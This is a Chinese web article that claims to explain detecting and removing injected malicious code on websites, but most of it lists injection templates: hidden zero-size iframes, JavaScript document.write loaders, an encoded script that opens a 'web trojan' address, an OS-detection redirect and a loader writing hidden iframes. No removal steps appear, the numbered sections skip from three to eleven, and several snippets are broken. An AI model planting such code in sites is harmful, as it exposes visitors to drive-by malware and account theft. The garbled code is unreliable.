如何进行网站挂马检测与清除
挂马是常见的对网站和客户都影响巨大的危害之一。如果是在访问出来的源文件的头上,或是最后有被加代码,这个一般是网站文件被要改了,或是ARP,如果是源文件的很多数据位置(中间),那一般是数据库被人挂了。服务器上首先要安装防病毒软件,而且要保持在线病毒库的更新,本人推荐使用eset nod32杀毒软件,效果不错,监测查杀木马很及时,一般如果服务器上的网页里被挂马了,一般都会检测出来。
不完全统计,90%的网站都被挂过马,挂马是指在获取网站或者网站服务器的部分或者全部权限后,在网页文件中插入一段恶意代码,这些恶意代码主要是一些包括IE等漏洞利用代码,用户访问被挂马的页面时,如果系统没有更新恶意代码中利用的漏洞补丁,则会执行恶意代码程序,进行盗号等危险超过。目前挂马主要是为了商业利益,有的挂马是为了赚取流量,有的是为了盗取游戏等账号,也有的是为了好玩,不管是处于那种目的,对于访问被挂马的网站来说都是一种潜在的威胁,影响运营网站公司形象。
一:框架挂马
<iframe src=地址 width=0 height=0></iframe>
二:js文件挂马
首先将以下代码
document.write("<iframe width='0' height='0' src='地址'></iframe>");
保存为xxx.js,
则JS挂马代码为
<script language=javascript src=xxx.js></script>
三:js变形加密
<SCRIPT language="JScript.Encode" src=(迷惑连接地址,显示这个地址指向木马地址)" onMouseOver="www_softbar_com();
return true;"> 页面要显示的内容 </a>
<SCRIPT Language="JavaScript">
function www_163_com ()
{
var url="网马地址";
open
(url,"NewWindow","toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=no,resizabl
e=no,copyhistory=yes,width=800,height=600,left=10,top=10");
}
</SCRIPT>
十一:判断系统代码
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD><TITLE>404</TITLE>
<META width=100% height=100% scrolling=no frameborder=0>")
else
document.write ("<iframe src= width=100% height=100% scrolling=no frameborder=0>")
end if
</script>
十三:智能读取js的代码demo
//读娶src的对象
var v = document.getElementById("advjs");
//读娶src的参数
var u_num = getUrlParameterAdv("showmatrix_num",v.getAttribute('src'));
document.write("<iframe src=\"/1/"+u_num+".htm\" width=\"0\" height=\"0\"
frameborder=\"0\"></iframe>");
document.writeln("<!DOCTYPE HTML PUBLIC \"-\/\/W3C\/\/DTD HTML 4.0 Transitional\/\/EN\">");
document.writeln("<HTML><HEAD>");
document.writeln("<META \/demo.js\')\">");
document.writeln("<DIV ");
document.writeln("style=\"CURSOR: url(\'\/demo.js\')\"><\/DIV><\/DIV><
\/BODY><\/HTML>")
//分析src的参数函数
function getUrlParameterAdv(asName,lsURL){
loU = lsURL.split("?");
if (loU.length>1){
var loallPm = loU[1].split("&");
for (var i=0; i<loallPm.length; i++){
var loPm = loallPm.split("=");
if (loPm[0]==asName){
if (loPm.length>1){
return loPm[1];
}else{
return "";
}
}
}
}
return null;
}